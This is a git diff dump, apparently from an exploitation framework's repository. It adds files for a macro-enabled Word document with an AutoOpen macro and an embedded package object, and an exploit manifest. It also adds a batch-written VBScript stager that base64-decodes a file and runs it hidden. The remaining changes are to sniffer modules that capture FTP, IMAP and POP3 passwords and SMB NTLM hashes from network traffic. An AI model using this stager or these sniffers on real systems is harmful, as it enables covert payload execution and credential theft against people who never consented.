</h1>
|
||||
|
||||
<h2>Todo</h2>
|
||||
|
||||
<p>
|
||||
Add readme content here
|
||||
</p>
|
||||
</body>
|
||||
</html>
|
||||
Executable
BIN
Binary file not shown.
BIN
Binary file not shown.
+2
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="bin" ContentType="application/vnd.ms-office.vbaProject"/><Default Extension="emf" ContentType="image/x-emf"/><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/word/document.xml" ContentType="application/vnd.ms-word.document.macroEnabled.main+xml"/><Override PartName="/word/vbaData.xml" ContentType="application/vnd.ms-word.vbaData+xml"/><Override PartName="/word/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"/><Override PartName="/word/stylesWithEffects.xml" ContentType="application/vnd.ms-word.stylesWithEffects+xml"/><Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/><Override PartName="/word/webSettings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"/><Override PartName="/word/embeddings/oleObject1.bin" ContentType="application/vnd.openxmlformats-officedocument.oleObject"/><Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"/><Override PartName="/word/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
|
||||
Executable
+2
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/></Relationships>
|
||||
Executable
+2
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>Normal.dotm</Template><TotalTime>1</TotalTime><Pages>1</Pages><Words>2</Words><Characters>13</Characters><Application>Microsoft Office Word</Application><DocSecurity>0</DocSecurity><Lines>1</Lines><Paragraphs>1</Paragraphs><ScaleCrop>false</ScaleCrop><Company></Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>14</CharactersWithSpaces><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>14.0000</AppVersion></Properties>
|
||||
+2
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:creator>Windows User</dc:creator><cp:lastModifiedBy>Windows User</cp:lastModifiedBy><cp:revision>2</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2012-06-07T21:43:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2012-06-07T21:43:00Z</dcterms:modified></cp:coreProperties>
|
||||
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId8" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/><Relationship Id="rId3" Type="http://schemas.microsoft.com/office/2007/relationships/stylesWithEffects" Target="stylesWithEffects.xml"/><Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="embeddings/oleObject1.bin"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/><Relationship Id="rId1" Type="http://schemas.microsoft.com/office/2006/relationships/vbaProject" Target="vbaProject.bin"/><Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.emf"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/><Relationship Id="rId9" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/></Relationships>
|
||||
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.microsoft.com/office/2006/relationships/wordVbaData" Target="vbaData.xml"/></Relationships>
|
||||
+2
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14"><w:body><w:p w:rsidR="00EB5F66" w:rsidRDefault="006042EE"><w:bookmarkStart w:id="0" w:name="_GoBack"/><w:r><w:rPr><w:noProof/></w:rPr><w:pict><v:shapetype id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"><v:stroke joinstyle="miter"/><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"/><v:f eqn="sum @0 1 0"/><v:f eqn="sum 0 0 @1"/><v:f eqn="prod @2 1 2"/><v:f eqn="prod @3 21600 pixelWidth"/><v:f eqn="prod @3 21600 pixelHeight"/><v:f eqn="sum @0 0 1"/><v:f eqn="prod @6 1 2"/><v:f eqn="prod @7 21600 pixelWidth"/><v:f eqn="sum @8 21600 0"/><v:f eqn="prod @7 21600 pixelHeight"/><v:f eqn="sum @10 21600 0"/></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/><o:lock v:ext="edit" aspectratio="t"/></v:shapetype><v:shape id="_x0000_s1026" type="#_x0000_t75" style="position:absolute;margin-left:0;margin-top:0;width:80.2pt;height:40.5pt;z-index:-251657216;mso-position-horizontal:absolute;mso-position-horizontal-relative:text;mso-position-vertical:absolute;mso-position-vertical-relative:text"><v:imagedata r:id="rId6" o:title=""/></v:shape><o:OLEObject Type="Embed" ProgID="Package" ShapeID="_x0000_s1026" DrawAspect="Content" ObjectID="_1400592552" r:id="rId7"/></w:pict></w:r><w:bookmarkEnd w:id="0"/><w:r><w:t>W00TW00T</w:t></w:r></w:p><w:sectPr w:rsidR="00EB5F66"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>
|
||||
Binary file not shown.
+2
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<w:fonts xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" mc:Ignorable="w14"><w:font w:name="Calibri"><w:panose1 w:val="020F0502020204030204"/><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/><w:sig w:usb0="E10002FF" w:usb1="4000ACFF" w:usb2="00000009" w:usb3="00000000" w:csb0="0000019F" w:csb1="00000000"/></w:font><w:font w:name="Times New Roman"><w:panose1 w:val="02020603050405020304"/><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/><w:sig w:usb0="E0002AFF" w:usb1="C0007841" w:usb2="00000009" w:usb3="00000000" w:csb0="000001FF" w:csb1="00000000"/></w:font><w:font w:name="Cambria"><w:panose1 w:val="02040503050406030204"/><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/><w:sig w:usb0="E00002FF" w:usb1="400004FF" w:usb2="00000000" w:usb3="00000000" w:csb0="0000019F" w:csb1="00000000"/></w:font></w:fonts>
|
||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 18 KiB |
+2
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<w:settings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main" mc:Ignorable="w14"><w:zoom w:percent="100"/><w:proofState w:spelling="clean" w:grammar="clean"/><w:defaultTabStop w:val="720"/><w:characterSpacingControl w:val="doNotCompress"/><w:compat><w:compatSetting w:name="compatibilityMode" w:uri="http://schemas.microsoft.com/office/word" w:val="14"/><w:compatSetting w:name="overrideTableStyleFontSizeAndJustification" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="enableOpenTypeFeatures" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="doNotFlipMirrorIndents" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/></w:compat><w:rsids><w:rsidRoot w:val="002B771F"/><w:rsid w:val="002B771F"/><w:rsid w:val="006042EE"/><w:rsid w:val="00EB5F66"/></w:rsids><m:mathPr><m:mathFont m:val="Cambria Math"/><m:brkBin m:val="before"/><m:brkBinSub m:val="--"/><m:smallFrac m:val="0"/><m:dispDef/><m:lMargin m:val="0"/><m:rMargin m:val="0"/><m:defJc m:val="centerGroup"/><m:wrapIndent m:val="1440"/><m:intLim m:val="subSup"/><m:naryLim m:val="undOvr"/></m:mathPr><w:themeFontLang w:val="en-US"/><w:clrSchemeMapping w:bg1="light1" w:t1="dark1" w:bg2="light2" w:t2="dark2" w:accent1="accent1" w:accent2="accent2" w:accent3="accent3" w:accent4="accent4" w:accent5="accent5" w:accent6="accent6" w:hyperlink="hyperlink" w:followedHyperlink="followedHyperlink"/><w:shapeDefaults><o:shapedefaults v:ext="edit" spidmax="1027"/><o:shapelayout v:ext="edit"><o:idmap v:ext="edit" data="1"/></o:shapelayout></w:shapeDefaults><w:decimalSymbol w:val="."/><w:listSeparator w:val=","/></w:settings>
|
||||
Executable
+2
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+2
File diff suppressed because one or more lines are too long
Executable
+2
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14"><wne:mcds><wne:mcd wne:macroName="PROJECT.NEWMACROS.AUTOOPEN" wne:name="Project.NewMacros.AutoOpen" wne:bEncrypt="00" wne:cmg="56"/></wne:mcds></wne:vbaSuppData>
|
||||
BIN
Binary file not shown.
+2
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<w:webSettings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" mc:Ignorable="w14"><w:optimizeForBrowser/><w:allowPNG/></w:webSettings>
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
+3
@@ -0,0 +1,3 @@
|
||||
Manifest-Version: 1.0
|
||||
SVG-Handler-Class: Exploit
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
|
||||
echo Set file = fs.GetFile("ENCODED") >>decode_stub
|
||||
echo If file.Size Then >>decode_stub
|
||||
echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
|
||||
echo data = fd.ReadAll >>decode_stub
|
||||
echo data = Replace(data, vbCrLf, "") >>decode_stub
|
||||
echo data = base64_decode(data) >>decode_stub
|
||||
echo fd.Close >>decode_stub
|
||||
echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
|
||||
echo ofs.Write data >>decode_stub
|
||||
echo ofs.close >>decode_stub
|
||||
echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
|
||||
echo shell.run "DECODED", 0, false >>decode_stub
|
||||
echo Wscript.sleep(1000 * 60 * 5) >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo Wscript.Echo "The file is empty." >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo Function base64_decode(byVal strIn) >>decode_stub
|
||||
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
|
||||
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
|
||||
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
|
||||
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
|
||||
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
|
||||
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
|
||||
echo If Not w2 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
|
||||
echo If Not w3 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
|
||||
echo If Not w4 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
|
||||
echo Next >>decode_stub
|
||||
echo base64_decode = strOut >>decode_stub
|
||||
echo End Function >>decode_stub
|
||||
echo Function mimedecode(byVal strIn) >>decode_stub
|
||||
echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
|
||||
echo If Len(strIn) = 0 Then >>decode_stub
|
||||
echo mimedecode = -1 : Exit Function >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo End Function >>decode_stub
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -15,6 +15,7 @@ class SnifferFTP < BaseProtocolParser
|
||||
:pass => /^PASS\s+([^\s]+)/i,
|
||||
:login_pass => /^(230\s*[^\n]+)/i,
|
||||
:login_fail => /^(5\d\d\s*[^\n]+)/i,
|
||||
:bye => /^221/
|
||||
}
|
||||
end
|
||||
|
||||
@@ -23,6 +24,7 @@ class SnifferFTP < BaseProtocolParser
|
||||
return unless pkt.is_tcp?
|
||||
return if (pkt.tcp_sport != 21 and pkt.tcp_dport != 21)
|
||||
s = find_session((pkt.tcp_sport == 21) ? get_session_src(pkt) : get_session_dst(pkt))
|
||||
s[:sname] ||= "ftp"
|
||||
|
||||
self.sigs.each_key do |k|
|
||||
# There is only one pattern per run to test
|
||||
@@ -38,21 +40,17 @@ class SnifferFTP < BaseProtocolParser
|
||||
|
||||
when :login_fail
|
||||
if(s[:user] and s[:pass])
|
||||
s[:proto]="ftp"
|
||||
s[:extra]="Failed Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
report_auth_info(s.merge({:active => false}))
|
||||
print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
|
||||
|
||||
s[:pass]=""
|
||||
s[:pass] = ""
|
||||
return
|
||||
end
|
||||
|
||||
when :login_pass
|
||||
if(s[:user] and s[:pass])
|
||||
s[:proto]="ftp"
|
||||
s[:extra]="Successful Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
|
||||
# Remove it form the session objects so freeup memory
|
||||
sessions.delete(s[:session])
|
||||
return
|
||||
@@ -60,12 +58,14 @@ class SnifferFTP < BaseProtocolParser
|
||||
|
||||
when :banner
|
||||
# Because some ftp server send multiple banner we take only the first one and ignore the rest
|
||||
if not (s[:banner])
|
||||
sessions[s[:session]].merge!({k => matches})
|
||||
s[:name]="FTP Server Welcome Banner: \"#{s[:banner]}\""
|
||||
if not (s[:info])
|
||||
s[:info] = matches
|
||||
report_service(s)
|
||||
end
|
||||
|
||||
when :bye
|
||||
sessions.delete(s[:session])
|
||||
|
||||
when nil
|
||||
# No matches, no saved state
|
||||
else
|
||||
|
||||
@@ -25,6 +25,7 @@ class SnifferIMAP < BaseProtocolParser
|
||||
return unless pkt.is_tcp?
|
||||
return if (pkt.tcp_sport != 143 and pkt.tcp_dport != 143)
|
||||
s = find_session((pkt.tcp_sport == 143) ? get_session_src(pkt) : get_session_dst(pkt))
|
||||
s[:sname] ||= "imap4"
|
||||
|
||||
self.sigs.each_key do |k|
|
||||
# There is only one pattern per run to test
|
||||
@@ -38,14 +39,11 @@ class SnifferIMAP < BaseProtocolParser
|
||||
|
||||
case matched
|
||||
when :banner
|
||||
s[:banner] = matches
|
||||
s[:name] = "IMAP Server Welcome Banner: #{s[:banner]}"
|
||||
s[:info] = matches
|
||||
report_service(s)
|
||||
|
||||
when :login_pass
|
||||
|
||||
s[:proto]="imap4"
|
||||
s[:extra]="Sucessful Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
@@ -54,18 +52,14 @@ class SnifferIMAP < BaseProtocolParser
|
||||
|
||||
when :login_fail
|
||||
|
||||
s[:proto]="imap4"
|
||||
s[:extra]="Failed Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
report_auth_info(s.merge({:active => false}))
|
||||
print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
sessions.delete(s[:session])
|
||||
|
||||
when :login_bad
|
||||
s[:proto]="imap4"
|
||||
s[:extra]="Failed Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
report_auth_info(s.merge({:active => false}))
|
||||
print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
|
||||
@@ -38,8 +38,9 @@ class SnifferPOP3 < BaseProtocolParser
|
||||
case s[:last]
|
||||
when nil
|
||||
# Its the first +OK must include the banner, worst case its just +OK
|
||||
s[:banner] = matches
|
||||
s[:name] = "POP3 Server Welcome Banner: \"#{s[:banner]}\""
|
||||
s[:info] = matches
|
||||
s[:proto] = "tcp"
|
||||
s[:name] = "pop3"
|
||||
report_service(s)
|
||||
|
||||
when :user
|
||||
@@ -48,8 +49,9 @@ class SnifferPOP3 < BaseProtocolParser
|
||||
when :pass
|
||||
# Perfect we get an +OK after a PASS command this means right password given :-)
|
||||
|
||||
s[:proto]="pop3"
|
||||
s[:extra]="Successful Login. Banner: #{s[:banner]}"
|
||||
s[:proto] = "tcp"
|
||||
s[:name] = "pop3"
|
||||
s[:extra] = "Successful Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
|
||||
+143
-134
@@ -5,26 +5,31 @@
|
||||
#
|
||||
|
||||
#Memo :
|
||||
# Authentification without extended security set
|
||||
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
|
||||
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17
|
||||
#3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0)
|
||||
#4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok
|
||||
#FOR SMBV1
|
||||
# Authentification without extended security set
|
||||
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
|
||||
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17
|
||||
#3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0)
|
||||
#4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok
|
||||
|
||||
# Authentification with extended security set
|
||||
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
|
||||
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
|
||||
#3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message
|
||||
#4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge
|
||||
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
|
||||
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
|
||||
# Authentification with extended security set
|
||||
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
|
||||
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
|
||||
#3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message
|
||||
#4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge
|
||||
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
|
||||
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
|
||||
#FOR SMBV2
|
||||
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
|
||||
|
||||
class SnifferSMB < BaseProtocolParser
|
||||
|
||||
def register_sigs
|
||||
self.sigs = {
|
||||
:setupandx => /\xffSMB\x73/,
|
||||
:negotiate => /\xffSMB\x72/,
|
||||
:smb1_negotiate => /\xffSMB\x72/n,
|
||||
:smb1_setupandx => /\xffSMB\x73/n,
|
||||
#:smb2_negotiate => /\xFESMB\x40\x00(.){6}\x00\x00/n,
|
||||
:smb2_setupandx => /\xFESMB\x40\x00(.){6}\x01\x00/n
|
||||
}
|
||||
end
|
||||
|
||||
@@ -45,7 +50,7 @@ class SnifferSMB < BaseProtocolParser
|
||||
end
|
||||
|
||||
case matched
|
||||
when :negotiate
|
||||
when :smb1_negotiate
|
||||
payload = pkt.payload.dup
|
||||
wordcount = payload[36,1].unpack("C")[0]
|
||||
#negotiate response
|
||||
@@ -54,128 +59,16 @@ class SnifferSMB < BaseProtocolParser
|
||||
#the server challenge is here
|
||||
if flags2 & 0x800 == 0
|
||||
s[:challenge] = payload[73,8].unpack("H*")[0]
|
||||
s[:last] = :negotiate
|
||||
s[:last] = :smb1_negotiate
|
||||
end
|
||||
end
|
||||
|
||||
when :setupandx
|
||||
payload = pkt.payload.dup
|
||||
|
||||
ntlmpayload = payload[/NTLMSSP\x00.*/m]
|
||||
if ntlmpayload
|
||||
ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0]
|
||||
case ntlmmessagetype
|
||||
when 2 # challenge
|
||||
s[:challenge] = ntlmpayload[24,8].unpack("H*")[0]
|
||||
s[:last] = :ntlm_type2
|
||||
when 3 # auth
|
||||
if s[:last] == :ntlm_type2
|
||||
lmlength = ntlmpayload[12, 2].unpack("v")[0]
|
||||
lmoffset = ntlmpayload[16, 2].unpack("v")[0]
|
||||
ntlmlength = ntlmpayload[20, 2].unpack("v")[0]
|
||||
ntlmoffset = ntlmpayload[24, 2].unpack("v")[0]
|
||||
domainlength = ntlmpayload[28, 2].unpack("v")[0]
|
||||
domainoffset = ntlmpayload[32, 2].unpack("v")[0]
|
||||
usrlength = ntlmpayload[36, 2].unpack("v")[0]
|
||||
usroffset = ntlmpayload[40, 2].unpack("v")[0]
|
||||
|
||||
s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || ''
|
||||
s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || ''
|
||||
s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || ''
|
||||
s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || ''
|
||||
|
||||
secbloblength = payload[51,2].unpack("v")[0]
|
||||
names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
||||
s[:peer_os] = names[0] || ''
|
||||
s[:peer_lm] = names[1] || ''
|
||||
s[:last] = :ntlm_type3
|
||||
end
|
||||
end
|
||||
else
|
||||
wordcount = payload[36,1].unpack("C")[0]
|
||||
#authentification without smb extended security (smbmount, msf server capture)
|
||||
if wordcount == 13 and s[:last] == :negotiate
|
||||
lmlength = payload[51,2].unpack("v")[0]
|
||||
ntlmlength = payload[53,2].unpack("v")[0]
|
||||
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
|
||||
s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
|
||||
|
||||
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
||||
|
||||
s[:user] = names[0]
|
||||
s[:domain] = names[1]
|
||||
s[:peer_os] = names[2]
|
||||
s[:peer_lm] = names[3]
|
||||
s[:last] = :smb_no_ntlm
|
||||
else
|
||||
#answer from server
|
||||
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
|
||||
#do not output anonymous/guest logging
|
||||
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
|
||||
#set lmhash to a default value if not provided
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
|
||||
|
||||
smb_status = payload[9,4].unpack("V")[0]
|
||||
if smb_status == 0 # success
|
||||
|
||||
ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash])
|
||||
|
||||
logmessage =
|
||||
"#{ntlm_ver} Response Captured in session : #{s[:session]} \n" +
|
||||
